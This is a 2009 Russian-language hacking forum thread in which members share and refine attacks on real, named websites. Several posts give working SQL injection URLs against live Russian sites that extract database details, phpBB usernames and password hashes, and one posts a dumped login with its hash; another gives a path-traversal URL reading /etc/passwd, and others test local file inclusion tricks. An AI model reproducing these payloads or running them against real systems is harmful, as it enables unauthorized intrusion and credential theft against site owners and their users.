Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    Software: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635. PHP/5.2.9 работает

    Software: Apache/2.2.3 (Debian) DAV/2 PHP/4.4.4-8+etch6 mod_ssl/2.2.3 OpenSSL/0.9.8c. PHP/4.4.4-8+etch6 работает

    Software: Apache/1.3.37 (Unix) mod_perl/1.29 mod_ssl/2.8.28 OpenSSL/0.9.8d PHP/4.4.7
    uname -a: SunOS jan 5.8 Generic_117350-54 sun4u работает

    Software: Apache/1.3.34 (Debian) PHP/4.4.4-8+etch6. PHP/4.4.4-8+etch6 работает

    Software: Apache/2.0.63. PHP/5.2.6
    uname -a: Linux raffles 2.6.18-6-686-bigmem #1 SMP Tue May 5 02:00:57 UTC 2009 i686 работает

    в Большинстве случаев работает как раз
     
    1 person likes this.
  2. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    http://art.specialradio.ru/index.php?id=-399+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9

    может кто-то докавыряет дальше...

    с этим можно что-то сделать?
    http://www.telemultimedia.ru/news.php?id=2702'
     
    #7142 AlexSatter, 18 May 2009
    Last edited: 18 May 2009
  3. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    я сто раз встречал такую ситуацию)
     
  4. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Обсуждалось это, ну или примерно это вот тут :
    https://forum.antichat.ru/showthread.php?t=98525

    Вот пост по теме из той-же ветки
    https://forum.antichat.ru/showpost.php?p=1024096&postcount=37
    Сейчас провели несколько тестов , респект Qwazar и BlackSun

    На лине везде работает (но это тесты, тоесть то, что было под рукой) , на фре работает вот так:
    Тоесть случай из примера не сработает

    А вообще интересно, если у кого-то есть желание, пошарьтесь по шеллам, потестируйте. До конца зависимости так и не понятны
     
    #7144 Kakoytoxaker, 18 May 2009
    Last edited: 18 May 2009
    1 person likes this.
  5. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    Дальше это куда куда ?) Вот юзера форума

    http://art.specialradio.ru/index.php?id=-399+union+select+1,concat_ws(0x2F,username,user_password),3,4,5,6,7,8,9+from+phpbb_users+limit+1,1
     
  6. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    FreeBSD
    http://4ertim.com/autohtml.php?filename=ololololololo/../../../../../../../etc/passwd
     
    1 person likes this.
  7. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    ElteRUS, спасибо
    не посмотрел, что там форум пхпббешный стоит, поэтому и таблицу подобрать не смог :)
     
  8. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    А если в сорцах путь относительный?
     
  9. oRb

    oRb Elder - Старейшина

    Joined:
    9 May 2008
    Messages:
    294
    Likes Received:
    582
    Reputations:
    256
    FreeBSD 6.3-RELEASE-p2
    Code:
    include('asd/../../../../../../../../../home/u*****/********/www/robots.txt');
    include('/asd/../../../../../../../../../home/u*****/********/www/robots.txt');
    Оба работают.
    FreeBSD 6.4-RELEASE
    Code:
    include('/asd../../../../../../../../../usr/home/bla_bla_bla/.htaccess');
    include('asd../../../../../../../../../usr/home/bla_bla_bla/.htaccess');
    Оба работают.
    Linux 2.6.24.4-nmm2
    Code:
    include('/asd../../../../../../www/htdocs/w*******/robots.txt');
    include('asd../../../../../../www/htdocs/w*******/robots.txt');
    Оба работают.
    Linux 2.4.33.2
    Code:
    include('asdasd../../../../../../../../../../home/user/www/index.html');
    include('/asdasd../../../../../../../../../../home/user/www/index.html');
    Пашет только второй.
    Darwin 9.7.0
    Code:
    include('/asdasd../../../../../../etc/passwd');
    include('asdasd../../../../../../etc/passwd');
    Оба работают.

    Вечером приду домой может еще посмотрю.
     
    3 people like this.
  10. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    http://www.kitana.ru/razdel.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),user(),database())
    вывод: 5.0.45:kitanaru@localhost:kitanaru
    через infromation_schema.tables нашлось user_profile, два столбца: usuer_id и password.
    Вывод значений не произошел. решил проверить, а есть ли в этой таблице записи?
    http://www.kitana.ru/razdel.php?id=-1+union+select+1,2,3,count(*)+from+user_profile
    Оказалось ноль..

    затем нашел таблицу personal
    http://www.kitana.ru/razdel.php?id=-1+union+select+1,2,3,concat_ws(0x3a,login,psw)+from+personal+limit+0,1
    ALLA:bee7a699d0bd762b85db6deaca1c5f40
    всего три учетки... limit+1,1 и +limit+2,1
     
    #7150 AlexSatter, 18 May 2009
    Last edited: 18 May 2009
  11. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,519
    Likes Received:
    401
    Reputations:
    196
    AlexSatter, и?
     
  12. _gr34t

    _gr34t Member

    Joined:
    26 Oct 2008
    Messages:
    89
    Likes Received:
    13
    Reputations:
    5
    Я не понимаю.
    Было же
    значит код примерно такой:
    значит если передать параметр value равный "../../../../etc/passwd%00", то в скрипте включится файл /var/www/site/htdocs/config../../../../etc/passwd
    Значит инклуд пройдёт, только если в папке htdocs есть папка config и мы добавим к значению value ещё "../" и никак иначе.

    А если передать значение параметра value равное "/././././.[4096 символов '/.']/etc/passwd%00" (что, наверное, и имелл в виду jokester, ссылаясь на пост [Raz0r]a), то скриптом подключится файл /var/www/site/htdocs/config

    Что разве не так?
    Я запарился всё это писать только чтоб понять о чём вы тут говорите :)
     
    #7152 _gr34t, 18 May 2009
    Last edited: 18 May 2009
  13. Aleksandeer

    Aleksandeer New Member

    Joined:
    27 Mar 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Да ты всё так понял, что я пыталься объяснить
    Тока вот папки config нету(
    есть файл config.php
     
  14. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Ложь... Есть или нету этой папки - инклюд произведется, если только мэджики выключены.
     
  15. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    нет, не так

    мы тут говорим о том что не всегда можно выполнить переход вверх из несуществующей папки. В твоём случае папки config не существует

    А про слеши это всего лишь пример, где Рейзор говорит что для линуха обязательно нужна существующая папка. Но как я говорил в той теме, так и в этой, в некоторых версиях пшп (достоверно неизвестно), папка не обязательно должна существовать
     
  16. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Да, где-то тоже о таком читал, но везде, где я не пробовал - папка не обязательна... Мб это просто удачные совпадения.
     
  17. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    в этих делах случайного имхо не бывает
    всему есть свои объяснения
     
  18. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    Сушествования папки не обязатель, попробуй у себя на локалке, php будет игноривать путь где мы подымаемься вверх с помошью /../ и нам все равно есть такая папка или нет перед 1 поднятием вверх.
     
  19. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    PaCo, не всегда
    ты читать умеешь?
     
  20. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    Нужно, чтоб в include_path (в php.ini) хотя бы один абсолютный путь был прописан, тогда можно проэксплуатировать такой LFI. (;

    add: Я это о способе проведения LFI через path truncation attack написал, если что. :)
     
    #7160 cr0w, 19 May 2009
    Last edited: 19 May 2009
    4 people like this.
Thread Status:
Not open for further replies.